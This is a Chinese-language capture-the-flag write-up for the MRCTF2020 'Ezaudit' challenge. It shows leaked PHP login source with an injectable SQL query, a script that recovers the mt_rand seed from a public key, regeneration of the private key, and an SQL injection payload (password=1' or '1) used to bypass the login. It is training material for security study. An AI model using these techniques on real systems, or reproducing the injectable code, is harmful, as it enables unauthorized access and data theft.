BUUCTF-WEB [MRCTF2020]Ezaudit 1

考点

文件泄露

mt_srand伪随机数构造

sql注入

解题过程

打开

image-20211028173552668

扫目录扫到www.zip,压缩包中有一个index.php文件,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
// KVQP0LdJKRaV
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
// $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '1'or '1'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
// mt_srand(xxx); 1775196155
// 这里的mt_rand会根据mt_srand设置的随机数种子来生成随机数
// 如果我们知道了 xxx 我们就掌握了随机数的生成规律
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
// 返回结果:KVQP0LdJKRaV3n9D
// 这里通过返回结果反推出随机数
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

将公钥转换成随机数生成的数字

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import random
dict1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
dict2='KVQP0LdJKRaV3n9D'
dict3 = dict1[::-1]
length = len(dict2)
res=''
for i in range(len(dict2)):
for j in range(len(dict1)):
if dict2[i] == dict1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(dict1)-1)+' '
break
print(res)

得到

1
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

通过php_mt_seed爆破出随机数种子

image-20211028174228526

得到

1
1775196155

设置mt_srand值为1775196155

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
// mt_srand(xxx); 1775196155
// 这里的mt_rand会根据mt_srand设置的随机数种子来生成随机数
// 如果我们知道了 xxx 我们就掌握了随机数的生成规律
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
// 返回结果:KVQP0LdJKRaV3n9D
// 这里通过返回结果反推出随机数
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key()."\n";
echo private_key();

得到

1
2
KVQP0LdJKRaV3n9D
XuNhoueCDCGc

拿到了Private_key,接下来就是提交

1
2
3
"SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
"SELECT flag FROM user WHERE username= 'crispr' AND password = '1'or '1'".';';
// 绕过即可

post

1
login=123&username=aaa&password=1' or '1&Private_key=XuNhoueCDCGc

image-20211028174706210

总结

老考点,不是很难。